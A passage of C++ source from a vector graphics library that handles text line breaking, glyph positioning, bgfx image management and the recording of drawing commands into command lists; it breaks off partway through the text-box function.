>= maxRows) { return nrows; } // Set null break point breakEnd = rowStart; breakWidth = 0.0; breakMaxX = 0.0; // Indicate to skip the white space at the beginning of the row. rowStart = nullptr; rowEnd = nullptr; rowWidth = 0; rowMinX = rowMaxX = 0; } else { if (rowStart == nullptr) { // Skip white space until the beginning of the line if (type == CP_CHAR) { // The current char is the row so far rowStartX = iter.x; rowStart = iter.str; rowEnd = iter.next; rowWidth = iter.nextx - rowStartX; // q.x1 - rowStartX; rowMinX = q.x0 - rowStartX; rowMaxX = q.x1 - rowStartX; wordStart = iter.str; wordStartX = iter.x; wordMinX = q.x0 - rowStartX; // Set null break point breakEnd = rowStart; breakWidth = 0.0; breakMaxX = 0.0; } } else { float nextWidth = iter.nextx - rowStartX; // track last non-white space character if (type == CP_CHAR) { rowEnd = iter.next; // rowWidth = iter.nextx - rowStartX; rowMaxX = q.x1 - rowStartX; } // track last end of a word if (ptype == CP_CHAR && type == CP_SPACE) { breakEnd = iter.str; breakWidth = nextWidth; // rowWidth; breakMaxX = rowMaxX; } // track last beginning of a word if (ptype == CP_SPACE && type == CP_CHAR) { wordStart = iter.str; wordStartX = iter.x; wordMinX = q.x0 - rowStartX; } // Break to new line when a character is beyond break width. if (type == CP_CHAR && nextWidth > breakRowWidth) { // The run length is too long, need to break to new line. if (breakEnd == rowStart) { // The current word is longer than the row length, just break it from here. rows[nrows].start = rowStart; rows[nrows].end = iter.str; rows[nrows].width = rowWidth * invscale; rows[nrows].minx = rowMinX * invscale; rows[nrows].maxx = rowMaxX * invscale; rows[nrows].next = iter.str; nrows++; if (nrows >= maxRows) { return nrows; } rowStartX = iter.x; rowStart = iter.str; rowEnd = iter.next; rowWidth = iter.nextx - rowStartX; rowMinX = q.x0 - rowStartX; rowMaxX = q.x1 - rowStartX; wordStart = iter.str; wordStartX = iter.x; wordMinX = q.x0 - rowStartX; } else { // Break the line from the end of the last word, and start new line from the beginning of the new. rows[nrows].start = rowStart; rows[nrows].end = breakEnd; rows[nrows].width = breakWidth * invscale; rows[nrows].minx = rowMinX * invscale; rows[nrows].maxx = breakMaxX * invscale; rows[nrows].next = wordStart; nrows++; if (nrows >= maxRows) { return nrows; } rowStartX = wordStartX; rowStart = wordStart; rowEnd = iter.next; rowWidth = iter.nextx - rowStartX; rowMinX = wordMinX; rowMaxX = q.x1 - rowStartX; // No change to the word start } // Set null break point breakEnd = rowStart; breakWidth = 0.0; breakMaxX = 0.0; } else { rowWidth = nextWidth; } } } pcodepoint = iter.codepoint; ptype = type; } // Break the line from the end of the last word, and start new line from the beginning of the new. if (rowStart != nullptr) { rows[nrows].start = rowStart; rows[nrows].end = rowEnd; rows[nrows].width = rowWidth * invscale; rows[nrows].minx = rowMinX * invscale; rows[nrows].maxx = rowMaxX * invscale; rows[nrows].next = end; nrows++; } return nrows; #undef CP_SPACE #undef CP_NEW_LINE #undef CP_CHAR } int textGlyphPositions(Context* ctx, const TextConfig& cfg, float x, float y, const char* str, const char* end, GlyphPosition* positions, int maxPositions) { const State* state = getState(ctx); const float scale = state->m_FontScale * ctx->m_DevicePixelRatio; const float invscale = 1.0f / scale; if (!end) { end = str + bx::strLen(str); } if (str == end) { return 0; } FONScontext* fons = ctx->m_FontStashContext; fonsSetSize(fons, cfg.m_FontSize * scale); fonsSetAlign(fons, cfg.m_Alignment); fonsSetBlur(fons, cfg.m_Blur); fonsSetFont(fons, cfg.m_FontHandle.idx); FONStextIter iter, prevIter; fonsTextIterInit(fons, &iter, x * scale, y * scale, str, end, FONS_GLYPH_BITMAP_OPTIONAL); prevIter = iter; FONSquad q; int npos = 0; while (fonsTextIterNext(fons, &iter, &q)) { if (iter.prevGlyphIndex < 0 && allocTextAtlas(ctx)) { iter = prevIter; fonsTextIterNext(fons, &iter, &q); } prevIter = iter; positions[npos].str = iter.str; positions[npos].x = iter.x * invscale; positions[npos].minx = bx::min<float>(iter.x, q.x0) * invscale; positions[npos].maxx = bx::max<float>(iter.nextx, q.x1) * invscale; npos++; if (npos >= maxPositions) { break; } } return npos; } int textGetGlyphQuad( Context* ctx, FontHandle font, unsigned int prevCodepoint, unsigned int codepoint, float size, float spacing, float* x, float* y, GlyphQuad* gq ) { FONSquad q; int ok = fonsGetGlyphQuad( ctx->m_FontStashContext, font.idx, prevCodepoint, codepoint, size, spacing, x, y, &q ); if (!ok) { allocTextAtlas(ctx); ok = fonsGetGlyphQuad( ctx->m_FontStashContext, font.idx, prevCodepoint, codepoint, size, spacing, x, y, &q ); } if (ok) { gq->x0 = q.x0; gq->y0 = q.y0; gq->x1 = q.x1; gq->y1 = q.y1; gq->s0 = q.s0; gq->t0 = q.t0; gq->s1 = q.s1; gq->t1 = q.t1; } return ok; } bool getImageSize(Context* ctx, ImageHandle handle, uint16_t* w, uint16_t* h) { if (!isValid(handle)) { *w = UINT16_MAX; *h = UINT16_MAX; return false; } Image* img = &ctx->m_Images[handle.idx]; if (!bgfx::isValid(img->m_bgfxHandle)) { *w = UINT16_MAX; *h = UINT16_MAX; return false; } *w = img->m_Width; *h = img->m_Height; return true; } ImageHandle createImage(Context* ctx, uint16_t w, uint16_t h, uint32_t flags, const uint8_t* data) { ImageHandle handle = allocImage(ctx); if (!isValid(handle)) { return VG_INVALID_HANDLE; } Image* tex = &ctx->m_Images[handle.idx]; tex->m_Width = w; tex->m_Height = h; uint32_t bgfxFlags = BGFX_SAMPLER_NONE; #if BX_PLATFORM_EMSCRIPTEN if (!bx::isPowerOf2(w) || !bx::isPowerOf2(h)) { flags = ImageFlags::Filter_NearestUV | ImageFlags::Filter_NearestW; bgfxFlags |= BGFX_SAMPLER_U_CLAMP | BGFX_SAMPLER_V_CLAMP | BGFX_SAMPLER_W_CLAMP; } #endif if (flags & ImageFlags::Filter_NearestUV) { bgfxFlags |= BGFX_SAMPLER_MIN_POINT | BGFX_SAMPLER_MAG_POINT; } if (flags & ImageFlags::Filter_NearestW) { bgfxFlags |= BGFX_SAMPLER_MIP_POINT; } tex->m_Flags = bgfxFlags; tex->m_bgfxHandle = bgfx::createTexture2D(tex->m_Width, tex->m_Height, false, 1, bgfx::TextureFormat::RGBA8, bgfxFlags); if (bgfx::isValid(tex->m_bgfxHandle) && data) { const uint32_t bytesPerPixel = 4; const uint32_t pitch = tex->m_Width * bytesPerPixel; const bgfx::Memory* mem = bgfx::copy(data, tex->m_Height * pitch); bgfx::updateTexture2D(tex->m_bgfxHandle, 0, 0, 0, 0, tex->m_Width, tex->m_Height, mem); } return handle; } ImageHandle createImage(Context* ctx, uint32_t flags, const bgfx::TextureHandle& bgfxTextureHandle) { VG_CHECK(bgfx::isValid(bgfxTextureHandle), "Invalid bgfx texture handle"); ImageHandle handle = allocImage(ctx); if (!isValid(handle)) { return VG_INVALID_HANDLE; } Image* tex = &ctx->m_Images[handle.idx]; tex->m_Width = UINT16_MAX; tex->m_Height = UINT16_MAX; uint32_t bgfxFlags = BGFX_TEXTURE_NONE; if (flags & ImageFlags::Filter_NearestUV) { bgfxFlags |= BGFX_SAMPLER_MIN_POINT | BGFX_SAMPLER_MAG_POINT; } if (flags & ImageFlags::Filter_NearestW) { bgfxFlags |= BGFX_SAMPLER_MIP_POINT; } tex->m_Flags = bgfxFlags; tex->m_bgfxHandle.idx = bgfxTextureHandle.idx; return handle; } bool updateImage(Context* ctx, ImageHandle image, uint16_t x, uint16_t y, uint16_t w, uint16_t h, const uint8_t* data) { if (!isValid(image)) { return false; } Image* tex = &ctx->m_Images[image.idx]; VG_CHECK(bgfx::isValid(tex->m_bgfxHandle), "Invalid texture handle"); const uint32_t bytesPerPixel = 4; const uint32_t pitch = tex->m_Width * bytesPerPixel; const bgfx::Memory* mem = bgfx::alloc(w * h * bytesPerPixel); bx::gather(mem->data, data + y * pitch + x * bytesPerPixel, pitch, w * bytesPerPixel, h); bgfx::updateTexture2D(tex->m_bgfxHandle, 0, 0, x, y, w, h, mem, UINT16_MAX); return true; } bool destroyImage(Context* ctx, ImageHandle img) { if (!isValid(img)) { return false; } Image* tex = &ctx->m_Images[img.idx]; VG_CHECK(bgfx::isValid(tex->m_bgfxHandle), "Invalid texture handle"); bgfx::destroy(tex->m_bgfxHandle); resetImage(tex); ctx->m_ImageHandleAlloc->free(img.idx); return true; } bool isImageValid(Context* ctx, ImageHandle image) { if (!isValid(image)) { return false; } Image* tex = &ctx->m_Images[image.idx]; return bgfx::isValid(tex->m_bgfxHandle); } CommandListHandle createCommandList(Context* ctx, uint32_t flags) { VG_CHECK(!isValid(ctx->m_ActiveCommandList), "Cannot create command list while inside a beginCommandList()/endCommandList() block"); CommandListHandle handle = allocCommandList(ctx); if (!isValid(handle)) { return VG_INVALID_HANDLE; } CommandList* cl = &ctx->m_CmdLists[handle.idx]; cl->m_Flags = flags; return handle; } void destroyCommandList(Context* ctx, CommandListHandle handle) { VG_CHECK(!isValid(ctx->m_ActiveCommandList), "Cannot destroy command list while inside a beginCommandList()/endCommandList() block"); VG_CHECK(isValid(handle), "Invalid command list handle"); bx::AllocatorI* allocator = ctx->m_Allocator; CommandList* cl = &ctx->m_CmdLists[handle.idx]; #if VG_CONFIG_ENABLE_SHAPE_CACHING if (cl->m_Cache) { freeCommandListCache(ctx, cl->m_Cache); } #endif ctx->m_Stats.m_CmdListMemoryTotal -= cl->m_CommandBufferCapacity; ctx->m_Stats.m_CmdListMemoryUsed -= cl->m_CommandBufferPos; BX_ALIGNED_FREE(allocator, cl->m_CommandBuffer, VG_CONFIG_COMMAND_LIST_ALIGNMENT); BX_FREE(allocator, cl->m_StringBuffer); bx::memSet(cl, 0, sizeof(CommandList)); ctx->m_CmdListHandleAlloc->free(handle.idx); } void resetCommandList(Context* ctx, CommandListHandle handle) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; #if VG_CONFIG_ENABLE_SHAPE_CACHING if (cl->m_Cache) { clCacheReset(ctx, cl->m_Cache); } #else BX_UNUSED(ctx); #endif ctx->m_Stats.m_CmdListMemoryUsed -= cl->m_CommandBufferPos; cl->m_CommandBufferPos = 0; cl->m_StringBufferPos = 0; cl->m_NumImagePatterns = 0; cl->m_NumGradients = 0; } #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API void beginCommandList(Context* ctx, CommandListHandle handle) { VG_CHECK(!isValid(ctx->m_ActiveCommandList), "Cannot call beginCommandList() while inside a beginCommandList()/endCommandList() block"); VG_CHECK(isValid(handle), "Invalid command list handle"); ctx->m_ActiveCommandList = handle; ctx->m_VTable = &g_ActiveCmdListVTable; } void endCommandList(Context* ctx) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "beginCommandList() hasn't been called yet."); ctx->m_ActiveCommandList = VG_INVALID_HANDLE; ctx->m_VTable = &g_CtxVTable; } #endif void clBeginPath(Context* ctx, CommandListHandle handle) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; clAllocCommand(ctx, cl, CommandType::BeginPath, 0); } void clMoveTo(Context* ctx, CommandListHandle handle, float x, float y) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::MoveTo, sizeof(float) * 2); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); } void clLineTo(Context* ctx, CommandListHandle handle, float x, float y) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::LineTo, sizeof(float) * 2); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); } void clCubicTo(Context* ctx, CommandListHandle handle, float c1x, float c1y, float c2x, float c2y, float x, float y) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::CubicTo, sizeof(float) * 6); CMD_WRITE(ptr, float, c1x); CMD_WRITE(ptr, float, c1y); CMD_WRITE(ptr, float, c2x); CMD_WRITE(ptr, float, c2y); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); } void clQuadraticTo(Context* ctx, CommandListHandle handle, float cx, float cy, float x, float y) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::QuadraticTo, sizeof(float) * 4); CMD_WRITE(ptr, float, cx); CMD_WRITE(ptr, float, cy); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); } void clArc(Context* ctx, CommandListHandle handle, float cx, float cy, float r, float a0, float a1, Winding::Enum dir) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::Arc, sizeof(float) * 5 + sizeof(Winding::Enum)); CMD_WRITE(ptr, float, cx); CMD_WRITE(ptr, float, cy); CMD_WRITE(ptr, float, r); CMD_WRITE(ptr, float, a0); CMD_WRITE(ptr, float, a1); CMD_WRITE(ptr, Winding::Enum, dir); } void clArcTo(Context* ctx, CommandListHandle handle, float x1, float y1, float x2, float y2, float r) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::ArcTo, sizeof(float) * 5); CMD_WRITE(ptr, float, x1); CMD_WRITE(ptr, float, y1); CMD_WRITE(ptr, float, x2); CMD_WRITE(ptr, float, y2); CMD_WRITE(ptr, float, r); } void clRect(Context* ctx, CommandListHandle handle, float x, float y, float w, float h) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::Rect, sizeof(float) * 4); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); CMD_WRITE(ptr, float, w); CMD_WRITE(ptr, float, h); } void clRoundedRect(Context* ctx, CommandListHandle handle, float x, float y, float w, float h, float r) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::RoundedRect, sizeof(float) * 5); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); CMD_WRITE(ptr, float, w); CMD_WRITE(ptr, float, h); CMD_WRITE(ptr, float, r); } void clRoundedRectVarying(Context* ctx, CommandListHandle handle, float x, float y, float w, float h, float rtl, float rtr, float rbr, float rbl) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::RoundedRectVarying, sizeof(float) * 8); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); CMD_WRITE(ptr, float, w); CMD_WRITE(ptr, float, h); CMD_WRITE(ptr, float, rtl); CMD_WRITE(ptr, float, rtr); CMD_WRITE(ptr, float, rbr); CMD_WRITE(ptr, float, rbl); } void clCircle(Context* ctx, CommandListHandle handle, float cx, float cy, float radius) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::Circle, sizeof(float) * 3); CMD_WRITE(ptr, float, cx); CMD_WRITE(ptr, float, cy); CMD_WRITE(ptr, float, radius); } void clEllipse(Context* ctx, CommandListHandle handle, float cx, float cy, float rx, float ry) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::Ellipse, sizeof(float) * 4); CMD_WRITE(ptr, float, cx); CMD_WRITE(ptr, float, cy); CMD_WRITE(ptr, float, rx); CMD_WRITE(ptr, float, ry); } void clPolyline(Context* ctx, CommandListHandle handle, const float* coords, uint32_t numPoints) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::Polyline, sizeof(uint32_t) + sizeof(float) * 2 * numPoints); CMD_WRITE(ptr, uint32_t, numPoints); bx::memCopy(ptr, coords, sizeof(float) * 2 * numPoints); } void clClosePath(Context* ctx, CommandListHandle handle) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; clAllocCommand(ctx, cl, CommandType::ClosePath, 0); } void clIndexedTriList(Context* ctx, CommandListHandle handle, const float* pos, const uv_t* uv, uint32_t numVertices, const Color* color, uint32_t numColors, const uint16_t* indices, uint32_t numIndices, ImageHandle img) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; const uint32_t dataSize = 0 + sizeof(uint32_t) // num positions + sizeof(float) * 2 * numVertices // positions + sizeof(uint32_t) // num UVs + (uv != nullptr ? (sizeof(uv_t) * 2 * numVertices) : 0) // UVs + sizeof(uint32_t) // num colors + sizeof(Color) * numColors // colors + sizeof(uint32_t) // num indices + sizeof(uint16_t) * numIndices // indices + sizeof(uint16_t) // image handle ; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::IndexedTriList, dataSize); // positions CMD_WRITE(ptr, uint32_t, numVertices); bx::memCopy(ptr, pos, sizeof(float) * 2 * numVertices); ptr += sizeof(float) * 2 * numVertices; // UVs if (uv) { CMD_WRITE(ptr, uint32_t, numVertices); bx::memCopy(ptr, uv, sizeof(uv_t) * 2 * numVertices); ptr += sizeof(uv_t) * 2 * numVertices; } else { CMD_WRITE(ptr, uint32_t, 0); } // Colors CMD_WRITE(ptr, uint32_t, numColors); bx::memCopy(ptr, color, sizeof(Color) * numColors); ptr += sizeof(Color) * numColors; // Indices CMD_WRITE(ptr, uint32_t, numIndices); bx::memCopy(ptr, indices, sizeof(uint16_t) * numIndices); ptr += sizeof(uint16_t) * numIndices; // Image CMD_WRITE(ptr, uint16_t, img.idx); } void clFillPath(Context* ctx, CommandListHandle handle, Color color, uint32_t flags) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::FillPathColor, sizeof(uint32_t) + sizeof(Color)); CMD_WRITE(ptr, uint32_t, flags); CMD_WRITE(ptr, Color, color); } void clFillPath(Context* ctx, CommandListHandle handle, GradientHandle gradient, uint32_t flags) { VG_CHECK(isValid(handle), "Invalid command list handle"); VG_CHECK(isValid(gradient), "Invalid gradient handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; VG_CHECK(isValid(gradient), "Invalid gradient handle"); uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::FillPathGradient, sizeof(uint32_t) + sizeof(uint16_t) * 2); CMD_WRITE(ptr, uint32_t, flags); CMD_WRITE(ptr, uint16_t, gradient.idx); CMD_WRITE(ptr, uint16_t, gradient.flags); } void clFillPath(Context* ctx, CommandListHandle handle, ImagePatternHandle img, Color color, uint32_t flags) { VG_CHECK(isValid(handle), "Invalid command list handle"); VG_CHECK(isValid(img), "Invalid image pattern handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; VG_CHECK(isValid(img), "Invalid image pattern handle"); uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::FillPathImagePattern, sizeof(uint32_t) + sizeof(Color) + sizeof(uint16_t) * 2); CMD_WRITE(ptr, uint32_t, flags); CMD_WRITE(ptr, Color, color); CMD_WRITE(ptr, uint16_t, img.idx); CMD_WRITE(ptr, uint16_t, img.flags); } void clStrokePath(Context* ctx, CommandListHandle handle, Color color, float width, uint32_t flags) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::StrokePathColor, sizeof(float) + sizeof(uint32_t) + sizeof(Color)); CMD_WRITE(ptr, float, width); CMD_WRITE(ptr, uint32_t, flags); CMD_WRITE(ptr, Color, color); } void clStrokePath(Context* ctx, CommandListHandle handle, GradientHandle gradient, float width, uint32_t flags) { VG_CHECK(isValid(handle), "Invalid command list handle"); VG_CHECK(isValid(gradient), "Invalid gradient handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; VG_CHECK(isValid(gradient), "Invalid gradient handle"); uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::StrokePathGradient, sizeof(float) + sizeof(uint32_t) + sizeof(uint16_t) * 2); CMD_WRITE(ptr, float, width); CMD_WRITE(ptr, uint32_t, flags); CMD_WRITE(ptr, uint16_t, gradient.idx); CMD_WRITE(ptr, uint16_t, gradient.flags); } void clStrokePath(Context* ctx, CommandListHandle handle, ImagePatternHandle img, Color color, float width, uint32_t flags) { VG_CHECK(isValid(handle), "Invalid command list handle"); VG_CHECK(isValid(img), "Invalid image pattern handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; VG_CHECK(isValid(img), "Invalid image pattern handle"); uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::StrokePathImagePattern, sizeof(float) + sizeof(uint32_t) + sizeof(Color) + sizeof(uint16_t) * 2); CMD_WRITE(ptr, float, width); CMD_WRITE(ptr, uint32_t, flags); CMD_WRITE(ptr, Color, color); CMD_WRITE(ptr, uint16_t, img.idx); CMD_WRITE(ptr, uint16_t, img.flags); } void clBeginClip(Context* ctx, CommandListHandle handle, ClipRule::Enum rule) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::BeginClip, sizeof(ClipRule::Enum)); CMD_WRITE(ptr, ClipRule::Enum, rule); } void clEndClip(Context* ctx, CommandListHandle handle) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; clAllocCommand(ctx, cl, CommandType::EndClip, 0); } void clResetClip(Context* ctx, CommandListHandle handle) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; clAllocCommand(ctx, cl, CommandType::ResetClip, 0); } GradientHandle clCreateLinearGradient(Context* ctx, CommandListHandle handle, float sx, float sy, float ex, float ey, Color icol, Color ocol) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::CreateLinearGradient, sizeof(float) * 4 + sizeof(Color) * 2); CMD_WRITE(ptr, float, sx); CMD_WRITE(ptr, float, sy); CMD_WRITE(ptr, float, ex); CMD_WRITE(ptr, float, ey); CMD_WRITE(ptr, Color, icol); CMD_WRITE(ptr, Color, ocol); const uint16_t gradientHandle = cl->m_NumGradients; cl->m_NumGradients++; return { gradientHandle, HandleFlags::LocalHandle }; } GradientHandle clCreateBoxGradient(Context* ctx, CommandListHandle handle, float x, float y, float w, float h, float r, float f, Color icol, Color ocol) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::CreateBoxGradient, sizeof(float) * 6 + sizeof(Color) * 2); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); CMD_WRITE(ptr, float, w); CMD_WRITE(ptr, float, h); CMD_WRITE(ptr, float, r); CMD_WRITE(ptr, float, f); CMD_WRITE(ptr, Color, icol); CMD_WRITE(ptr, Color, ocol); const uint16_t gradientHandle = cl->m_NumGradients; cl->m_NumGradients++; return { gradientHandle, HandleFlags::LocalHandle }; } GradientHandle clCreateRadialGradient(Context* ctx, CommandListHandle handle, float cx, float cy, float inr, float outr, Color icol, Color ocol) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::CreateRadialGradient, sizeof(float) * 4 + sizeof(Color) * 2); CMD_WRITE(ptr, float, cx); CMD_WRITE(ptr, float, cy); CMD_WRITE(ptr, float, inr); CMD_WRITE(ptr, float, outr); CMD_WRITE(ptr, Color, icol); CMD_WRITE(ptr, Color, ocol); const uint16_t gradientHandle = cl->m_NumGradients; cl->m_NumGradients++; return { gradientHandle, HandleFlags::LocalHandle }; } ImagePatternHandle clCreateImagePattern(Context* ctx, CommandListHandle handle, float cx, float cy, float w, float h, float angle, ImageHandle image) { VG_CHECK(isValid(handle), "Invalid command list handle"); VG_CHECK(isValid(image), "Invalid image handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; VG_CHECK(isValid(image), "Invalid image handle"); uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::CreateImagePattern, sizeof(float) * 5 + sizeof(uint16_t)); CMD_WRITE(ptr, float, cx); CMD_WRITE(ptr, float, cy); CMD_WRITE(ptr, float, w); CMD_WRITE(ptr, float, h); CMD_WRITE(ptr, float, angle); CMD_WRITE(ptr, uint16_t, image.idx); const uint16_t patternHandle = cl->m_NumImagePatterns; cl->m_NumImagePatterns++; return { patternHandle, HandleFlags::LocalHandle }; } void clPushState(Context* ctx, CommandListHandle handle) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; clAllocCommand(ctx, cl, CommandType::PushState, 0); } void clPopState(Context* ctx, CommandListHandle handle) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; clAllocCommand(ctx, cl, CommandType::PopState, 0); } void clResetScissor(Context* ctx, CommandListHandle handle) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; clAllocCommand(ctx, cl, CommandType::ResetScissor, 0); } void clSetScissor(Context* ctx, CommandListHandle handle, float x, float y, float w, float h) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::SetScissor, sizeof(float) * 4); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); CMD_WRITE(ptr, float, w); CMD_WRITE(ptr, float, h); } void clIntersectScissor(Context* ctx, CommandListHandle handle, float x, float y, float w, float h) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::IntersectScissor, sizeof(float) * 4); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); CMD_WRITE(ptr, float, w); CMD_WRITE(ptr, float, h); } void clTransformIdentity(Context* ctx, CommandListHandle handle) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; clAllocCommand(ctx, cl, CommandType::TransformIdentity, 0); } void clTransformScale(Context* ctx, CommandListHandle handle, float x, float y) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::TransformScale, sizeof(float) * 2); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); } void clTransformTranslate(Context* ctx, CommandListHandle handle, float x, float y) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::TransformTranslate, sizeof(float) * 2); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); } void clTransformRotate(Context* ctx, CommandListHandle handle, float ang_rad) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::TransformRotate, sizeof(float)); CMD_WRITE(ptr, float, ang_rad); } void clTransformMult(Context* ctx, CommandListHandle handle, const float* mtx, TransformOrder::Enum order) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::TransformMult, sizeof(float) * 6 + sizeof(TransformOrder::Enum)); bx::memCopy(ptr, mtx, sizeof(float) * 6); ptr += sizeof(float) * 6; CMD_WRITE(ptr, TransformOrder::Enum, order); } void clSetViewBox(Context* ctx, CommandListHandle handle, float x, float y, float w, float h) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::SetViewBox, sizeof(float) * 4); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); CMD_WRITE(ptr, float, w); CMD_WRITE(ptr, float, h); } void clText(Context* ctx, CommandListHandle handle, const TextConfig& cfg, float x, float y, const char* str, const char* end) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; const uint32_t len = end ? (uint32_t)(end - str) : (uint32_t)bx::strLen(str); if (len == 0) { return; } const uint32_t offset = clStoreString(ctx, cl, str, len); uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::Text, sizeof(TextConfig) + sizeof(float) * 2 + sizeof(uint32_t) * 2); bx::memCopy(ptr, &cfg, sizeof(TextConfig)); ptr += sizeof(TextConfig); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); CMD_WRITE(ptr, uint32_t, offset); CMD_WRITE(ptr, uint32_t, len); } void clTextBox(Context* ctx, CommandListHandle handle, const TextConfig& cfg, float x, float y, float breakWidth, const char* str, const char* end, uint32_t textboxFlags) { VG_CHECK(isValid(handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; const uint32_t len = end ? (uint32_t)(end - str) : 